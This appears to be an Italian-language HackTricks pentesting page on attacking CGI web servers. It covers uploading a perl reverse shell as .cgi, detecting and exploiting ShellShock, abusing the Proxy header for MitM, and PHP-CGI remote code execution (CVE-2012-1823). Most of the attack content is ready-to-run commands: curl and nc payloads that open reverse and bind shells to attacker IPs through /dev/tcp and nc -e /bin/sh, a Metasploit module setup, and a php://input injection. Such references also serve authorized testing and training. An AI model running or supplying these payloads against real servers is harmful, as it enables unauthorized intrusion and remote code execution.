tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni
Gli script CGI sono script perl, quindi, se hai compromesso un server che può eseguire .cgi script, puoi caricare una reverse shell perl (/usr/share/webshells/perl/perl-reverse-shell.pl
), cambiare l'estensione da .pl a .cgi, dare permessi di esecuzione (chmod +x
) e accedere alla reverse shell dal browser web per eseguirla.
Per testare le vulnerabilità CGI è consigliato usare nikto -C all
(e tutti i plugin)
ShellShock
ShellShock è una vulnerabilità che colpisce la Bash, la shell a riga di comando ampiamente utilizzata nei sistemi operativi basati su Unix. Colpisce la capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle variabili di ambiente, che sono valori nominati dinamici che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando codice malevolo alle variabili di ambiente, che viene eseguito al ricevimento della variabile. Questo consente agli attaccanti di compromettere potenzialmente il sistema.
Sfruttando questa vulnerabilità, la pagina potrebbe generare un errore.
Puoi trovare questa vulnerabilità notando che sta utilizzando una vecchia versione di Apache e cgi_mod (con cartella cgi) o usando nikto.
Test
La maggior parte dei test si basa sull'eco di qualcosa e si aspetta che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (riflesso, cieco e out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Sfruttamento
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM per richieste al server web)
CGI crea una variabile di ambiente per ogni intestazione nella richiesta http. Ad esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com"
Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal server web. Prova a inviare un header contenente: "Proxy: <IP_attacker>:<PORT>" e se il server esegue qualche richiesta durante la sessione. Sarai in grado di catturare ogni richiesta effettuata dal server.
Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Fondamentalmente, se cgi è attivo e php è "vecchio" (<5.3.12 / < 5.4.2) puoi eseguire codice.
Per sfruttare questa vulnerabilità devi accedere a qualche file PHP del server web senza inviare parametri (soprattutto senza inviare il carattere "=").
Poi, per testare questa vulnerabilità, potresti accedere ad esempio a /index.php?-s
(nota il -s
) e il codice sorgente dell'applicazione apparirà nella risposta.
Poi, per ottenere RCE puoi inviare questa query speciale: /?-d allow_url_include=1 -d auto_prepend_file=php://input
e il codice PHP da eseguire nel corpo della richiesta. Esempio:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Ulteriori informazioni sulla vulnerabilità e possibili exploit: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.